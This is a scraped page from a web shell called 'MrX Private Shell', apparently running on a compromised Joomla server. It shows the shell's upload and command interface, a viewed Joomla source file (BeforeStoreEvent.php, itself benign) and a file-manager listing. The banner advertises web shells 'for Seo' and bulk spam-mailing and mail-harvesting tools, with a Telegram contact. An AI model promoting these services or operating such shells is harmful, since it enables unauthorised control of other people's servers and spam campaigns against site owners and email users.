__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Event\Table;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Event class for \Joomla\CMS\Table\Table onBeforeStore event
 *
 * @since  4.0.0
 */
class BeforeStoreEvent extends AbstractEvent
{
    /**
     * Constructor.
     *
     * Mandatory arguments:
     * subject      \Joomla\CMS\Table\TableInterface The table we are operating on
     * updateNulls  boolean                          True to update fields even if they are null.
     * k            mixed                            Name of the primary key fields in the table (string or array of strings).
     *
     * @param   string  $name       The event name.
     * @param   array   $arguments  The event arguments.
     *
     * @throws  \BadMethodCallException
     */
    public function __construct($name, array $arguments = [])
    {
        if (!\array_key_exists('updateNulls', $arguments)) {
            throw new \BadMethodCallException("Argument 'updateNulls' is required for event $name");
        }

        if (!\array_key_exists('k', $arguments)) {
            throw new \BadMethodCallException("Argument 'k' is required for event $name");
        }

        parent::__construct($name, $arguments);
    }

    /**
     * Setter for the updateNulls attribute
     *
     * @param   mixed  $value  The value to set
     *
     * @return  boolean  Normalised value
     *
     * @deprecated 4.4.0 will be removed in 7.0
     *                Use counterpart with onSet prefix
     */
    protected function setUpdateNulls($value)
    {
        return $value ? true : false;
    }

    /**
     * Setter for the updateNulls attribute
     *
     * @param   mixed  $value  The value to set
     *
     * @return  boolean  Normalised value
     *
     * @since  4.4.0
     */
    protected function onSetUpdateNulls($value)
    {
        return $this->setUpdateNulls($value);
    }
}

Filemanager

Name Type Size Permission Actions
AbstractEvent.php File 2.07 KB 0664
AfterBindEvent.php File 489 B 0664
AfterCheckinEvent.php File 498 B 0664
AfterCheckoutEvent.php File 501 B 0664
AfterDeleteEvent.php File 1.12 KB 0664
AfterHitEvent.php File 490 B 0664
AfterLoadEvent.php File 3.11 KB 0664
AfterMoveEvent.php File 4.54 KB 0664
AfterPublishEvent.php File 498 B 0664
AfterReorderEvent.php File 2.35 KB 0664
AfterResetEvent.php File 489 B 0664
AfterStoreEvent.php File 1.92 KB 0664
BeforeBindEvent.php File 3.26 KB 0664
BeforeCheckinEvent.php File 1.16 KB 0664
BeforeCheckoutEvent.php File 2.34 KB 0664
BeforeDeleteEvent.php File 1.12 KB 0664
BeforeHitEvent.php File 492 B 0664
BeforeLoadEvent.php File 2.08 KB 0664
BeforeMoveEvent.php File 4.58 KB 0664
BeforePublishEvent.php File 4.44 KB 0664
BeforeReorderEvent.php File 3.5 KB 0664
BeforeResetEvent.php File 491 B 0664
BeforeStoreEvent.php File 2.1 KB 0664
CheckEvent.php File 479 B 0664
ObjectCreateEvent.php File 493 B 0664
SetNewTagsEvent.php File 2.25 KB 0664
Filemanager